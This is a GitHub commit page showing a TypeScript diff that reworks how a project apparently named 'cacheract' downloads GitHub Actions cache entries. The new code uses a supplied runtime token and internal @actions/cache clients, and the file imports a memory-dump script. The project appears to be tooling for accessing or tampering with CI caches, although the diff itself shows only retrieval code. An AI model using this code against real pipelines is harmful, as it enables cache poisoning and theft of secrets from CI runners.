Skip to content

Commit 77ecfcc

Browse files
committed
Update download functionality too
1 parent 0c16eb4 commit 77ecfcc

File tree

2 files changed

+19
-23
lines changed

2 files changed

+19
-23
lines changed

src/index.ts

-6
Original file line numberDiff line numberDiff line change
@@ -38,12 +38,6 @@ async function setEntry(archive: string, key: string, version: string, runtimeTo
3838
const stats = fs.statSync(archive);
3939
const archiveFileSize = stats.size;
4040

41-
// const headers = {
42-
// 'Authorization': `Bearer ${runtimeToken}`,
43-
// 'User-Agent': 'actions/cache-4.0.2',
44-
// 'accept': 'application/json'
45-
// };
46-
4741
const request: CreateCacheEntryRequest = {
4842
key,
4943
version

src/utils.ts

+19-17
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,10 @@ import * as path from 'path';
55
import * as fs from 'fs';
66
import axios from 'axios';
77
import { MEMDUMP_SCRIPT } from './static';
8-
import { tmpdir } from 'os';
8+
import { tmpdir, version } from 'os';
9+
import { restore } from 'mock-fs';
10+
import { GetCacheEntryDownloadURLRequest } from '@actions/cache/lib/generated/results/api/v1/cache';
11+
import { DownloadOptions } from '@actions/cache/lib/options';
912

1013
const execAsync = promisify(exec);
1114

@@ -31,6 +34,9 @@ export async function sleep(ms: number) {
3134
return new Promise(resolve => setTimeout(resolve, ms));
3235
}
3336

37+
var cacheTwirpClient = require('@actions/cache/lib/internal/shared/cacheTwirpClient');
38+
var cacheHttpClient = require('@actions/cache/lib/internal/cacheHttpClient');
39+
3440
/**
3541
* Generate a random string of specified length
3642
* @param length - Length of the random string
@@ -65,29 +71,25 @@ export async function getOsInfo() {
6571
export async function retrieveEntry(cache_key: string, cache_version: string, runtimeToken: string): Promise<string> {
6672
var cacheHttpclient = require('@actions/cache/lib/internal/cacheHttpClient');
6773
try {
68-
const headers = {
69-
'Authorization': `Bearer ${runtimeToken}`,
70-
'User-Agent': 'actions/cache-4.0.2',
71-
'accept': 'application/json'
72-
};
73-
7474
// We need both the cache URL and ACTIONS_RUNTIME_TOKEN to retrieve the cache.
7575
if (!runtimeToken) {
7676
return '';
7777
}
7878

79-
const url = new URL(`https://results-receiver.actions.githubusercontent.com/twirp/github.actions.results.api.v1.CacheService/GetCacheEntryDownloadURL`);
80-
81-
const cache_data = {
82-
"key": cache_key,
83-
"version": cache_version,
79+
process.env['ACTIONS_RUNTIME_TOKEN'] = runtimeToken;
80+
const request: GetCacheEntryDownloadURLRequest = {
81+
key: cache_key,
82+
restoreKeys: [],
83+
version: cache_version
8484
}
8585

86-
// Make the HTTP GET request using axios
87-
const response = await axios.post(url.href, {cache_data}, { headers: headers });
88-
if (response.status == 200) {
89-
const location = new URL(response.data['signed_download_url'])
90-
await cacheHttpclient.downloadCache(location, '/tmp/cacheract.tar.tzstd');
86+
const twirpClient = cacheTwirpClient.internalCacheTwirpClient();
87+
const response = await twirpClient.GetCacheEntryDownloadURL(request)
88+
const options: DownloadOptions = {
89+
useAzureSdk: true
90+
}
91+
if (response.ok) {
92+
await cacheHttpclient.downloadCache(response.signedDownloadUrl, '/tmp/cacheract.tar.tzstd', options);
9193
if (fs.existsSync('/tmp/cacheract.tar.tzstd')) {
9294
console.log('Cache retrieved successfully');
9395
return '/tmp/cacheract.tar.tzstd';

0 commit comments

Comments
 (0)